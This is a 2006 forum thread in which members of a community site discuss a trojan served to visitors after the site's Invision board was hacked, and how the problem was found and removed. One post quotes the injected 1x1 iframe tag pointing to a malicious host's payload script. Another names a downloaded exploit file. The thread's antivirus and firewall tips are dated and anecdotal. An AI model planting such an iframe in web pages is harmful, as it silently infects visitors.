21 July 2006, 17:03 UTC#1
EDIT://PROBLEM FIXED!
Seems the trojan virus is back, I would advise people to be very caution on the forum, its seems to be effecting some and not others. I have been told that is effecting both IE and FF, so if HGF tries to install anything or you recieve any emails from us then be advised it is the trojan virus. If you are being effected by this I would advise staying of the forum for a bit till we get the issue resolved. As G is not around I will do my best to try and get rid, btu as he did not share how he removed it last time it may be a bit of a struggle.
Thanks,
Matt.
21 July 2006, 17:08 UTC#2
yup, I just got it.
21 July 2006, 23:46 UTC#3
If you guys download Sygate personal firewall it will block the virus.
You can download it for free here -
http://smb.sygate.com/22 July 2006, 09:26 UTC#4
yeah at the top of firefox it says to install missing plugins...so if I dont click install I should be ok yeah?
22 July 2006, 09:46 UTC#5
QUOTE(Skipper @ Jul 22 2006, 11:26 AM) [snapback]363746[/snapback]
yeah at the top of firefox it says to install missing plugins...so if I dont click install I should be ok yeah?
Yeah, thats basically what I'm getting.
Thats just saying it can't display the popup, which is good, I've had it a few times before, on other sites of course. Well I think so anyways.
Norton keeps saying it's blocked an intrusion so I guess its cool.
Doesn't G have a mobile, doesn't somebody have his number?? To let him know.
22 July 2006, 11:45 UTC#6
haha I just got one... good thing mcaffe updates so frequently!
22 July 2006, 12:18 UTC#7
Made, try and find the name of the trojan and the exploit for this version of invision and see if there's anything online about how to prevent it.
22 July 2006, 12:35 UTC#8
Last time im sure Gaz said he updated to a newer security patch for the board.
Dunno if theres an even newer one or if this post helps one bit but yeh. lol
If this doesn't help a single bit then I'll just be quiet lol
EDIT:
I get a download box asking to download something 'xpl.wmf' from count4all.net if that helps also?
22 July 2006, 15:57 UTC#9
gah it keeps asking me to download a file.. but I dont have a virus blocking thing and that thing that weak poted I cant find where to download it
22 July 2006, 17:01 UTC#10
the firewall doesn't help much anyway, even with it. it makes your browser freeze. you have to click a link, and quickly press stop while it's loading the images.
22 July 2006, 17:23 UTC#11
Norton does a good job at stopping it. Every time I come on it shows up as blocking the intrusion. I looked at everything it had to say about it and seems like it'll just block it each time. So Norton will work too, I'd say.
22 July 2006, 17:25 UTC#12
this is at the top..
<iframe src="http://zhmbscwdgk.biz/dl/adv771.php" height="1" width="1"></iframe>
if you google adv771.php it brings up other forums bitching about being infected with it, so maybe if you read them you can find a soultion? I read one and they did a web content filter to filter out "zhmbscwdgk.biz".. can you try that until G can remove the iframe code?
22 July 2006, 17:52 UTC#13
from one of the google links:
"Yesterday we got hacked for the second time. This time the hacker loged in first (after he tryed to open the /admin.php site two times), clicked on the "admin" link in the header, went to the admin site and went straight to the look and feel options to place the iframe tag again."
So, maybe it can be removed in the "look and feel" options? I am just guessing.
source (just to show everyone we are not alone with this):
http://forums.invisionpower.com/index.php?...mp;bug_cat_id=922 July 2006, 23:35 UTC#14
K it was an iframe in the board wrapper. I think I have temporarily fixed the issue, but ive read alot about php files in the emoticon folder :S
22 July 2006, 23:49 UTC#15
22 July 2006, 23:51 UTC#16
Nice, seems to be ok now.
Hopefully all goes back to normal, nice work!
22 July 2006, 23:53 UTC#17
QUOTE(BaZ_LnN @ Jul 23 2006, 01:51 AM) [snapback]363796[/snapback]
Nice, seems to be ok now.
Hopefully all goes back to normal, nice work!
Ill talk to made about it tommorow, from what I have read, this is an on going case, once a forum has it once.
I found information about a script that checks the css every few minutes and removes all iframe tags, would be worth getting. It appears that the people involved are russian :S
22 July 2006, 23:54 UTC#18
FRODO!
install the thing Matt posted over on the IPB main forums.
23 July 2006, 00:17 UTC#19
QUOTE(Adem @ Jul 23 2006, 01:54 AM) [snapback]363798[/snapback]
FRODO!
install the thing Matt posted over on the IPB main forums.
Ill talk to matt about it tommorow, there is alot of wierd shit happening right now.
23 July 2006, 00:47 UTC#20
yeah.. my 8 month old son was on my lap when I got the popup for japanses characters install. I'm thinking "Yeah right.. there is no japanese at HGF".. and then my son slams his hands on the keyboard, hitting the space bar, and installing the virus. My first virus (without protection!) in 5 years.
23 July 2006, 02:49 UTC#21
Nice to see we got this sorted, im a bit concerned about a file that is bugging me, I'll give it a check tomorrow to make sure there is no infection still there.
23 July 2006, 03:10 UTC#22
Maybe we should edit the original post, saying that it's been fixed somewhat?
As I think we lost a few members today, not been too active.
23 July 2006, 03:13 UTC#23
Seems fine to me now
23 July 2006, 03:29 UTC#24
QUOTE(BaZ_LnN @ Jul 23 2006, 04:10 AM) [snapback]363823[/snapback]
Maybe we should edit the original post, saying that it's been fixed somewhat?
As I think we lost a few members today, not been too active.
Its usually dead on the weekends, but yeah...I'll edit the post.
Apparently someone hacked Gmans account...someone deleted his admin log files too....
23 July 2006, 03:33 UTC#25
Didn't Doyle say he was going to hack HGF a while ago...... could it be him? haha.
I don't know if I should say that here or not but.... I'm not accusing him but if it his a hacker, out of all the people I'd suspect it would be him after saying that.
23 July 2006, 05:19 UTC#26
I got it a couple of time because I was stupid to go back again and again. By accident. And the virus was nothing to worry about for me!
23 July 2006, 07:17 UTC#27
Woo! I wont be around here for a while though so I cant celebrate it. >_<
23 July 2006, 09:07 UTC#28
I think I got some virus, but it doesnt seem to affect me. Everytime I typed homgrownforums.com and it started to load the page, my f-secure informs me that I got infected by something. There was like five different trojans or something. Like two of them were objects that my prog couldnt process, so I think they are still there somewhere. But I havent seen any affects of it...
23 July 2006, 10:41 UTC#29
QUOTE(x__made @ Jul 23 2006, 04:49 AM) [snapback]363816[/snapback]
Nice to see we got this sorted, im a bit concerned about a file that is bugging me, I'll give it a check tomorrow to make sure there is no infection still there.
Whats the file matt?
Is it in the emoticono folder?
And sean, any updates on what happened with the logs and so no?
23 July 2006, 15:10 UTC#30
lool I got it.....
I wasn't able to download the firewall cuz my comput was too slow....
so I deleted my session and created myself a new one
